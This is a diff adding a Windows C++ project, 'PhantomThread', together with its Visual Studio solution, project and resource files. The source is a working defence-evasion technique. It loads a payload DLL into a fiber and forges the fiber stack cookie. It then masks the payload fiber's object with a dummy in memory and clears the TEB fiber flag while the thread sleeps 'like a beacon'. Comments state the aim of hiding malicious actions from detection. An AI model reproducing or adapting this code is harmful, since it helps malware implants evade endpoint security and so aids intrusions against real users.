Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PhantomThreadPayload", "PhantomThreadPayload\PhantomThreadPayload.vcxproj", "{5AB07432-5FF0-460F-99D2-79B263F76F67}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Debug|x64.Build.0 = Debug|x64
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Debug|x86.Build.0 = Debug|Win32
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Release|x64.ActiveCfg = Release|x64
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Release|x64.Build.0 = Release|x64
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Release|x86.ActiveCfg = Release|Win32
|
||||
{70594F5A-46FC-4EA7-8468-685255F73B28}.Release|x86.Build.0 = Release|Win32
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Debug|x64.Build.0 = Debug|x64
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Debug|x86.Build.0 = Debug|Win32
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Release|x64.ActiveCfg = Release|x64
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Release|x64.Build.0 = Release|x64
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Release|x86.ActiveCfg = Release|Win32
|
||||
{04CBD585-AF9A-4C74-A782-76673D626DE9}.Release|x86.Build.0 = Release|Win32
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Debug|x64.Build.0 = Debug|x64
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Debug|x86.Build.0 = Debug|Win32
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Release|x64.ActiveCfg = Release|x64
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Release|x64.Build.0 = Release|x64
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Release|x86.ActiveCfg = Release|Win32
|
||||
{E628052D-2054-4FF2-838D-409A734CBC23}.Release|x86.Build.0 = Release|Win32
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Debug|x64.Build.0 = Debug|x64
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Debug|x86.Build.0 = Debug|Win32
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Release|x64.ActiveCfg = Release|x64
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Release|x64.Build.0 = Release|x64
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Release|x86.ActiveCfg = Release|Win32
|
||||
{5AB07432-5FF0-460F-99D2-79B263F76F67}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {0E40EE4F-C253-4FC1-9EEA-AC05400F3AF5}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,288 @@
|
||||
#include "PhantomThread.h"
|
||||
|
||||
void ErrorExit(LPTSTR lpszFunction)
|
||||
{
|
||||
// Retrieve the system error message for the last-error code
|
||||
|
||||
LPVOID lpMsgBuf;
|
||||
LPVOID lpDisplayBuf;
|
||||
DWORD dw = GetLastError();
|
||||
|
||||
FormatMessage(
|
||||
FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
||||
FORMAT_MESSAGE_FROM_SYSTEM |
|
||||
FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL,
|
||||
dw,
|
||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||||
(LPTSTR)&lpMsgBuf,
|
||||
0, NULL);
|
||||
|
||||
// Display the error message and exit the process
|
||||
|
||||
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
|
||||
(lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR));
|
||||
StringCchPrintf((LPTSTR)lpDisplayBuf,
|
||||
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
|
||||
TEXT("%s failed with error %d: %s"),
|
||||
lpszFunction, dw, lpMsgBuf);
|
||||
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
|
||||
|
||||
LocalFree(lpMsgBuf);
|
||||
LocalFree(lpDisplayBuf);
|
||||
ExitProcess(dw);
|
||||
}
|
||||
|
||||
PTEB getTeb()
|
||||
{
|
||||
#if defined(_M_X64) // x64
|
||||
PTEB tebPtr = (PTEB)__readgsqword(offsetof(NT_TIB, Self));
|
||||
#else // x86
|
||||
PTEB tebPtr = (PTEB)__readfsdword(offsetof(NT_TIB, Self));
|
||||
#endif
|
||||
return tebPtr;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Returns a forged XoredStack Cookie value
|
||||
* This will work if when overwriting a Fiber object with a Dummy object we wish to switch Execution to it & we don't want to raise an exception.
|
||||
* It passes the validation check inside SwitchToFiber()
|
||||
*/
|
||||
uint64_t GenerateXoredStackCookie(PVOID dummyFiberAddr, Fiber& dummyFiberObj, PVOID secondaryFiberAddr)
|
||||
{
|
||||
uint64_t fiberObject = 0;
|
||||
uint64_t stackBase = 0;
|
||||
uint64_t xoredCookie = 0;
|
||||
uint64_t basepFiberCookie = 0;
|
||||
uint64_t forgedXoredStackCookie = 0;
|
||||
uint64_t tmp1, tmp2;
|
||||
|
||||
printf("\t[+] Generating forged XoredStackCookie to use when overwriting secondaryFiber HEAP block with Dummy Fiber\n");
|
||||
|
||||
/*
|
||||
* Calculate BasepFiberCookie (The randomly generated value per THREAD value)
|
||||
* See CreatFiberEx!KernelBase.dll for XoredCookie being set in Fiber object
|
||||
* Merely reverse this process (simultaneous equations) to get BasepFiberCookie value.
|
||||
*/
|
||||
stackBase = (uint64_t)dummyFiberObj.StackBase;
|
||||
xoredCookie = dummyFiberObj.XoredCookie;
|
||||
fiberObject = (uint64_t)dummyFiberAddr;
|
||||
|
||||
tmp1 = xoredCookie ^ stackBase;
|
||||
basepFiberCookie = tmp1 ^ fiberObject;
|
||||
printf("\t[+] Calculated basepFiberCookie value: 0x%llx\n", basepFiberCookie);
|
||||
|
||||
// Using basepFiberCookie, generate a new XoredStack Cookie based on the fiberData location we wish to overwrite.
|
||||
tmp2 = basepFiberCookie ^ stackBase;
|
||||
forgedXoredStackCookie = (uint64_t)secondaryFiberAddr ^ tmp2;
|
||||
printf("\t[+] Calculated Forged XoredStackCookie value: %llx\n", forgedXoredStackCookie);
|
||||
|
||||
return forgedXoredStackCookie;
|
||||
}
|
||||
|
||||
void writeSameTebFlags(PTEB pTeb, USHORT newValue)
|
||||
{
|
||||
//NOTE: Can we not do this directly with compiler intrinsics? Rather than calling APIs that could be hooked.
|
||||
uint64_t nBytesWritten = 0;
|
||||
uint64_t pSameTebFlags = (uint64_t)pTeb + 0x17EE;
|
||||
USHORT original_SameTebFlags; // hasFiberData = 0x0004;
|
||||
|
||||
// Read existing SameTebFlags so we can replace them after sleep
|
||||
if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)pSameTebFlags, &original_SameTebFlags, sizeof(USHORT), &nBytesWritten))
|
||||
{
|
||||
ErrorExit((LPTSTR)L"ReadProcessMemory");
|
||||
}
|
||||
printf("\t[!] Old SameTebFlags value: 0x%x\n", original_SameTebFlags);
|
||||
|
||||
printf("\t[!] Writing new SameTebFlags field: 0x%x\n", newValue);
|
||||
if (!WriteProcessMemory(GetCurrentProcess(), (LPVOID)pSameTebFlags, &newValue, sizeof(USHORT), &nBytesWritten))
|
||||
{
|
||||
ErrorExit((LPTSTR)L"WriteProcessMemory");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void dummyFiberFunc(bool setup)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
/*
|
||||
* Dummy fiber immediately continues execution of primary Fiber
|
||||
* Depending on use case this could be adapted.
|
||||
*/
|
||||
SwitchToFiber(primaryFiber);
|
||||
}
|
||||
}
|
||||
|
||||
void scheduleFibers()
|
||||
{
|
||||
// Create fiber object containers
|
||||
Fiber dummyFiberObject = {};
|
||||
Fiber secondaryFiberObject = {};
|
||||
|
||||
bool runPayloadFiber = true;
|
||||
|
||||
// Location of TEB in memory for our main thread.
|
||||
PTEB pTeb = getTeb();
|
||||
printf("[+] pTeb == 0%llx\n", (uint64_t)pTeb);
|
||||
printf("[+] Operating as: Thread\n");
|
||||
|
||||
// Convert current Thread to a Fiber
|
||||
primaryFiber = ConvertThreadToFiber(NULL);
|
||||
printf("[+] Convert Thread to primary Fiber\n");
|
||||
|
||||
/*
|
||||
* Create second fiber that executes PayloadFunc
|
||||
* This takes an argument of the fiber to return to after it has finished executing.
|
||||
* Then save secondaryFiber object
|
||||
*/
|
||||
secondaryFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(void*)PayloadFunc, primaryFiber);
|
||||
memcpy(&secondaryFiberObject, secondaryFiber, sizeof(Fiber));
|
||||
|
||||
/*
|
||||
* Create dummyFiber
|
||||
* Switch to it to populate fields
|
||||
* Copy to a Fiber object
|
||||
*/
|
||||
dummyFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(void*)dummyFiberFunc, 0);
|
||||
SwitchToFiber(dummyFiber);
|
||||
memcpy(&dummyFiberObject, dummyFiber, sizeof(Fiber));
|
||||
|
||||
/*
|
||||
* Modify XoredCookie to be valid for dummy Fiber
|
||||
* This allows use to Execute the dummy fiber if we choose not to unmask the secondaryFiber
|
||||
* If we don't intend to run the dummy fiber in place of secondary Fiber at any point then we can omit this step
|
||||
* For instance perhaps we want to run our evil secondary fiber once and don't want to call DeleteFiber()
|
||||
*/
|
||||
dummyFiberObject.XoredCookie = GenerateXoredStackCookie(dummyFiber, dummyFiberObject, secondaryFiber);
|
||||
// Mask payload fiber object in memory with spare Fiber object.
|
||||
printf("\t[+] Mask Dormant (Payload) Fiber with Dummy Fiber Object\n");
|
||||
memcpy(secondaryFiber, &dummyFiberObject, sizeof(Fiber));
|
||||
|
||||
int counter = 0;
|
||||
while (counter < 10) {
|
||||
|
||||
// Change SameTebFlags field to remove HAS_FIBER_DATA flag indicator & thus detection artifact.
|
||||
printf("\t[+] Removing SameTebFlags Fiber indicator prior to sleeping\n");
|
||||
writeSameTebFlags(pTeb, INITIAL_THREAD);
|
||||
|
||||
// Sleep i.e. like a beacon would waiting for something / or some instruction.
|
||||
printf("\t[+] Sleeping 10 seconds as masked PhantomThread\n");
|
||||
Sleep(10000);
|
||||
|
||||
/*
|
||||
* Restore HAS_FIBER_DATA mask to SameTebFlags before switching to it.
|
||||
* This is only necessary if one intends to use to following API calls after this point:
|
||||
* ConvertThreadToFiber/Ex
|
||||
* ConvertFiberToThread
|
||||
* DeleteFiber
|
||||
* IsThreadAFiber
|
||||
*/
|
||||
printf("\t[+] Restoring SameTebFlags Fiber indicator before switching Fibers\n");
|
||||
writeSameTebFlags(pTeb, HAS_FIBER_DATA);
|
||||
|
||||
if (runPayloadFiber) {
|
||||
/*
|
||||
* Restore evil fiber object before switching to it.
|
||||
* If we don't restore then our [CLEAN] masked fiber will continue to run.
|
||||
*/
|
||||
printf("\t[+] Unmask Dormant (Dummy) Fiber with Payload Fiber Object\n");
|
||||
memcpy(secondaryFiber, &secondaryFiberObject, sizeof(Fiber));
|
||||
runPayloadFiber = runPayloadMultipleTimes;
|
||||
}
|
||||
|
||||
// Switch to Dormant fiber
|
||||
printf("\t[+] Switching to Dormant Fiber\n");
|
||||
SwitchToFiber(secondaryFiber);
|
||||
printf("[+] Executing as Primary Fiber\n");
|
||||
|
||||
// Save Fiber object after it has run, since it has been updated.
|
||||
memcpy(&secondaryFiberObject, secondaryFiber, sizeof(Fiber));
|
||||
|
||||
// Mask payload fiber object in memory with spare Fiber object, if not already masked.
|
||||
printf("\t[+] Mask Dormant Fiber with Dummy Fiber Object if not already masked\n");
|
||||
memcpy(secondaryFiber, &dummyFiberObject, sizeof(Fiber));
|
||||
|
||||
// Execution continues immediately where it left off, after the call the SwitchToFiber() hence we put it into a loop.
|
||||
counter++;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void LoadPayloadDll()
|
||||
{
|
||||
hModule = LoadLibraryA("PhantomThreadPayload.dll");
|
||||
|
||||
if (hModule != NULL)
|
||||
{
|
||||
PayloadFunc = (PAYLOAD_FUNC)GetProcAddress(hModule, "PayloadFunc");
|
||||
if (PayloadFunc == NULL)
|
||||
{
|
||||
printf("[!] Unable to get payload export 'PayloadFunc'\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[!] Unable to Load PhantomThreadPayload.dll\n");
|
||||
}
|
||||
}
|
||||
|
||||
void PrintHelp(char* name)
|
||||
{
|
||||
printf("Usage:%s [x|c] \n\n", name);
|
||||
printf("x : Run Payload Fiber once & switch permanently to Dummy Fiber after (in this case a copy of the Primary Fiber)\n");
|
||||
printf("c : Continuously switch back and forth between Primary Fiber & Payload Fiber\n\n");
|
||||
}
|
||||
|
||||
int main(int argc, char**argv)
|
||||
{
|
||||
|
||||
printf(R"EOF(
|
||||
__________.__ __ ___________.__ .___
|
||||
\______ \ |__ _____ _____/ |_ ____ _____ \__ ___/| |_________ ____ _____ __| _/
|
||||
| ___/ | \\__ \ / \ __\/ _ \ / \ | | | | \_ __ \_/ __ \\__ \ / __ |
|
||||
| | | Y \/ __ \| | \ | ( <_> ) Y Y \ | | | Y \ | \/\ ___/ / __ \_/ /_/ |
|
||||
|____| |___| (____ /___| /__| \____/|__|_| / |____| |___| /__| \___ >____ /\____ |
|
||||
\/ \/ \/ \/ \/ \/ \/ \/ )EOF");
|
||||
printf("\n\n");
|
||||
|
||||
if (argc < 2)
|
||||
{
|
||||
PrintHelp(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (strcmp(argv[1], "x") == 0)
|
||||
{
|
||||
runPayloadMultipleTimes = false;
|
||||
}
|
||||
else if(strcmp(argv[1], "c") == 0)
|
||||
{
|
||||
runPayloadMultipleTimes = true;
|
||||
}
|
||||
|
||||
/*
|
||||
* Load export from PhantomThreadPayload.dll
|
||||
* In reality we would reflectively load the DLL instead of using LoadLibrary, GetProcAddress
|
||||
*/
|
||||
LoadPayloadDll();
|
||||
|
||||
/* Required critieria :
|
||||
*
|
||||
Primary fiber [When sleeping like with a beacon] should have:
|
||||
1. No sign of using Fibers in callstack i.e. Fiber related functions.
|
||||
2. No sign of using Fibers in TEB. E.g. SameTebFlags field set to 0.
|
||||
|
||||
Secondary fiber [bad call-stack that performs malicious actions] can have anything since it only executes at one moment and only susceptible to detection via in-line callstack collection.
|
||||
|
||||
*/
|
||||
DWORD tid = 0;
|
||||
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)scheduleFibers, 0, 0, &tid);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
// Free payload module
|
||||
FreeLibrary(hModule);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
#pragma once
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <strsafe.h>
|
||||
#include <string>
|
||||
|
||||
#define INITIAL_THREAD 0x0400 // SameTebFlags mask for InitialThread - https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/teb/sametebflags.htm
|
||||
#define HAS_FIBER_DATA 0X0004 // USHORT HasFiberData mask
|
||||
|
||||
// Exported func from PhantomThreadPayload.dll
|
||||
typedef int(WINAPI* PAYLOAD_FUNC)(LPVOID);
|
||||
PAYLOAD_FUNC PayloadFunc;
|
||||
HMODULE hModule;
|
||||
|
||||
bool runPayloadMultipleTimes = true;
|
||||
LPVOID primaryFiber = NULL;
|
||||
LPVOID secondaryFiber = NULL;
|
||||
LPVOID dummyFiber = NULL;
|
||||
|
||||
//
|
||||
// Pseudo Fiber struct rebuilt from IDA KernelBase!CreateFiberEx
|
||||
//
|
||||
struct Fiber
|
||||
{
|
||||
PVOID FiberData; // 0x00
|
||||
struct _EXCEPTION_REGISTRATION_RECORD* ExceptionList; // +0x08
|
||||
PVOID StackBase; // +0x10
|
||||
PVOID StackLimit; // +0x18
|
||||
PVOID DeallocationStack; // +0x20
|
||||
CONTEXT FiberContext;
|
||||
PVOID Wx86Tib;
|
||||
struct _ACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
|
||||
PVOID FlsData;
|
||||
ULONG GuaranteedStackBytes;
|
||||
ULONG TebFlags;
|
||||
uint64_t XoredCookie; // Xored stack based cookie, used as a sanity check when switching fibers in KernelBase!SwitchToFiber
|
||||
PVOID ShadowStack;
|
||||
};
|
||||
@@ -0,0 +1,150 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{04cbd585-af9a-4c74-a782-76673d626de9}</ProjectGuid>
|
||||
<RootNamespace>PhantomThread</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="PhantomThread.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="PhantomThread.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="PhantomThread.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="PhantomThread.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,69 @@
|
||||
// Microsoft Visual C++ generated resource script.
|
||||
//
|
||||
#include "resource.h"
|
||||
|
||||
#define APSTUDIO_READONLY_SYMBOLS
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Generated from the TEXTINCLUDE 2 resource.
|
||||
//
|
||||
#include "winres.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
#undef APSTUDIO_READONLY_SYMBOLS
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// English (United Kingdom) resources
|
||||
|
||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG)
|
||||
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK
|
||||
#pragma code_page(1252)
|
||||
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// TEXTINCLUDE
|
||||
//
|
||||
|
||||
1 TEXTINCLUDE
|
||||
BEGIN
|
||||
"resource.h\0"
|
||||
END
|
||||
|
||||
2 TEXTINCLUDE
|
||||
BEGIN
|
||||
"#include ""winres.h""\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
3 TEXTINCLUDE
|
||||
BEGIN
|
||||
"\r\n"
|
||||
"\0"
|
||||
END
|
||||
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// shellcode_bin
|
||||
//
|
||||
|
||||
IDR_SHELLCODE_BIN1 shellcode_bin "c-shellcode-msgbox.bin"
|
||||
|
||||
#endif // English (United Kingdom) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
